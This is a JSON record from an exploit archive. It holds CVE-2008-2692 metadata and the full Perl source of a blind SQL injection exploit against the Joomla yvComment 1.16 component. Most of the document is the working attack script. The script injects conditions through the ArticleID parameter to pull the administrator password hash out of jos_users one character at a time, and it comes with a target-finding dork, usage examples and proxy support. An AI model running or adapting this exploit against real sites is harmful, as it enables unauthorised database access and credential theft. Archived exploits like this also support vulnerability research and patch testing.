{"exploit":{"id":"EDB-5755","name":"Joomla! Component yvComment 1.16 - Blind SQL Injection (SQLi)","description":"Joomla! Component yvComment 1.16 - Blind SQL Injection (SQLi)","cves":["CVE-2008-2692"],"author":"His0k4","published":"2008-06-08","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5755","path":"exploits/php/webapps/5755.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5755.pl","vulnerabilities":[{"id":"CVE-2008-2692","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the yvComment (com_yvcomment) component 1.16.0 and earlier for Joomla! allows remote attackers to execute arbitrary SQL commands via the ArticleID parameter in a comment action to index.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2692","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2692"},"updatedAt":"2024-08-07T09:14:14.269Z","retrievedAt":"2026-11-27T08:09:36.753Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5755.png?v=2","url":"https://exploitbin.com/exploits/EDB-5755","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5755/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5755/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\nuse LWP::UserAgent;\nuse Getopt::Long;\n\nif(!$ARGV[1])\n{\n  print \"                                                                        \\n\";\n  print \"  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\\n\";\n  print \"  o   Joomla Component yvcomment Blind SQL Injection Exploit            o\\n\";\n  print \"  o   Author:His0k4 [ALGERIAN HaCkeR]                                   o\\n\";\n  print \"  o                                                                     o\\n\";\n  print \"  o   Conctact: His0k4.hlm[at]gamil.com                                 o\\n\";\n  print \"  o   Greetz:   All friends & muslims HacKeRs                           o\\n\";\n  print \"  o                                                                     o\\n\";\n  print \"  o   Dork :   inurl:yvcomment                                          o\\n\";\n  print \"  o   Usage:   perl yvcomment.pl host path <options>                    o\\n\";\n  print \"  o   Example: perl yvcomment.pl www.host.com /joomla/ -a 2             o\\n\";\n  print \"  o                                                                     o\\n\";\n  print \"  o   Options:                                                          o\\n\";\n  print \"  o     -a   valid Article id                                           o\\n\";\n  print \"  o   Note:                                                             o\\n\";\n  print \"  o You can Change the match string by any content of the correct query o\\n\";\n  print \"  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\\n\";\n  exit;\n}\n\nmy $host    = $ARGV[0];\nmy $path    = $ARGV[1];\nmy $userid  = 1;\nmy $aid     = $ARGV[2];\n\nmy %options = ();\nGetOptions(\\%options, \"u=i\", \"p=s\", \"a=i\");\n\nprint \"[~] Exploiting...\\n\";\n\nif($options{\"u\"})\n{\n  $userid = $options{\"u\"};\n}\n\nif($options{\"a\"})\n{\n  $aid = $options{\"a\"};\n}\n\nsyswrite(STDOUT, \"[~] MD5-Hash: \", 14);\n\nfor(my $i = 1; $i <= 32; $i++)\n{\n  my $f = 0;\n  my $h = 48;\n  while(!$f && $h <= 57)\n  {\n    if(istrue2($host, $path, $userid, $aid, $i, $h))\n    {\n      $f = 1;\n      syswrite(STDOUT, chr($h), 1);\n    }\n    $h++;\n  }\n  if(!$f)\n  {\n    $h = 97;\n    while(!$f && $h <= 122)\n    {\n      if(istrue2($host, $path, $userid, $aid, $i, $h))\n      {\n        $f = 1;\n        syswrite(STDOUT, chr($h), 1);\n      }\n      $h++;\n    }\n  }\n}\n\nprint \"\\n[~] Exploiting done\\n\";\n\nsub istrue2\n{\n  my $host  = shift;\n  my $path  = shift;\n  my $uid   = shift;\n  my $aid   = shift;\n  my $i     = shift;\n  my $h     = shift;\n\n  my $ua = LWP::UserAgent->new;\n  my $query = \"http://\".$host.$path.\"index.php?option=com_yvcomment&view=comment&ArticleID=\".$aid.\" and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),\".$i.\",1))=\".$h.\"\";\n\n  if($options{\"p\"})\n  {\n    $ua->proxy('http', \"http://\".$options{\"p\"});\n  }\n\n  my $resp = $ua->get($query);\n  my $content = $resp->content;\n  my $regexp = \"DateAndAuthor\";\n\n  if($content =~ /$regexp/)\n  {\n    return 1;\n  }\n  else\n  {\n    return 0;\n  }\n\n}\n\n# milw0rm.com [2008-06-08]","sha256":"994533ed925a3cbbbdd27cea6908885efa318688f62b9ca30fdb3450b5e91811","bytes":2985,"fetchedAt":"2026-11-27T08:09:35.008Z","encoding":"utf-8 (display only; download retains original bytes)"}